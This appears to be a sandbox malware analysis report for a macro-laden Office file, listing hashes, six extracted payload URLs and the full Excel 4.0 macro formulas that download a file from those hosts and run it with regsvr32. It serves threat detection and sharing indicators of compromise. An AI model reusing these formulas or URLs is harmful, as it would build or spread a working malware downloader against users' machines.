General
-
Target
1cbb385f4821d6f21bef623e4914bc2c4e7d83d284c9fc1bff705b063f3fdccc
-
Size
48KB
-
MD5
ddda2dfc2eefa6484dd157cac2e05c57
-
SHA1
6581fdc6ba5a7fc2fdac563a4bb4e1f39c728f8e
-
SHA256
1cbb385f4821d6f21bef623e4914bc2c4e7d83d284c9fc1bff705b063f3fdccc
-
SHA512
520126bd31f8283ace2d4c76c4f82d6176d000c595e0b392736f5ddd931fc19b2cfb0790ad44f681c5978635baa6de96dffe7ea006074bd399e1f65a08be4ff8
-
SSDEEP
768:E2uCkFF/vxRhR0KDNWBA7rTj+RYV8Q0RuVBR2jPrtysHRX0BAR5:ruTlbMKDNck01u/R2rZyjB+5
Malware Config
Extracted
http://henrysfreshroast.com/OevI7Yy0i6YShxFl/
http://www.ajaxmatters.com/c7g8t/nnzJJ1rKFD2P/
http://aopda.org/wp-content/uploads/5oTAVJyjDFOllX2uE/
https://winnieswondersaviary.com/wp-content/mxPfty43IionmElgK3h/
http://1000paginas.com/tienda/vWtT/
http://crm.techopesolutions.com/b48om9p6/vquxKuTvTj/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/OevI7Yy0i6YShxFl/","..\si.ocx",0,0) =IF('LGGDGB'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/nnzJJ1rKFD2P/","..\si.ocx",0,0)) =IF('LGGDGB'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aopda.org/wp-content/uploads/5oTAVJyjDFOllX2uE/","..\si.ocx",0,0)) =IF('LGGDGB'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://winnieswondersaviary.com/wp-content/mxPfty43IionmElgK3h/","..\si.ocx",0,0)) =IF('LGGDGB'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://1000paginas.com/tienda/vWtT/","..\si.ocx",0,0)) =IF('LGGDGB'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://crm.techopesolutions.com/b48om9p6/vquxKuTvTj/","..\si.ocx",0,0)) =IF('LGGDGB'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\si.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
1cbb385f4821d6f21bef623e4914bc2c4e7d83d284c9fc1bff705b063f3fdccc